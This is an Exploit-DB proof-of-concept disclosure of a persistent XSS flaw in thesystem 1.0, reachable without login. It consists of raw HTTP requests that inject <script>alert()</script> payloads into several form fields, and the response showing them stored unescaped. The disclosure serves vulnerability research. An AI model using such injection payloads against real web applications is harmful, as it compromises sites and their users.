thesystem 1.0 – Cross-Site Scripting

  • 作者: Anıl Baran Yelken
    日期: 2019-09-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47440/
  • # Exploit Title: thesystem Persistent XSS 
    # Author: Anıl Baran Yelken 
    # Discovery Date: 2019-09-28 
    # Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
    # Software Link: https://github.com/kostasmitroglou/thesystem 
    # Tested Version: 1.0 
    # Tested on OS: Windows 10 
    # CVE: N/A 
    # Type: Webapps 
    # Description: 
    # Persistent XSS after login bypass(login_required didn't used) 
    
    First of all, I send a request add_server 
    POST /add_server/ HTTP/1.1 
    Host: 127.0.0.1:8000 
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
    Accept-Encoding: gzip, deflate 
    Content-Type: multipart/form-data; boundary=---------------------------3902153292 
    Content-Length: 1205 
    Connection: close 
    Referer: http://127.0.0.1:8000/add_server/ 
    Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 
    Upgrade-Insecure-Requests: 1 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="csrfmiddlewaretoken" 
    S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="operating_system" 
    <script>alert("kale1")</script> 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="ip_address" 
    127.0.0.1 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="system_port" 
    22 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="system_owner" 
    <script>alert("kale2")</script> 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="system_username" 
    <script>alert("kale3")</script> 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="system_password" 
    <script>alert("kale4")</script> 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="system_description" 
    <script>alert("kale5")</script> 
    -----------------------------3902153292 
    Content-Disposition: form-data; name="server_name" 
    <script>alert("kale6")</script> 
    -----------------------------3902153292-- 
    
    After I send a request show_server_data 
    GET /show_server_data/ HTTP/1.1 
    Host: 127.0.0.1:8000 
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
    Accept-Encoding: gzip, deflate 
    Connection: close 
    Referer: http://127.0.0.1:8000/data/ 
    Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977 
    Upgrade-Insecure-Requests: 1 
    
    And I showed persistent XSS: 
    HTTP/1.1 200 OK 
    Date: Sat, 28 Sep 2019 09:51:04 GMT 
    Server: WSGIServer/0.2 CPython/3.5.3 
    Content-Length: 437 
    Content-Type: text/html; charset=utf-8 
    X-Frame-Options: SAMEORIGIN 
    (23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28')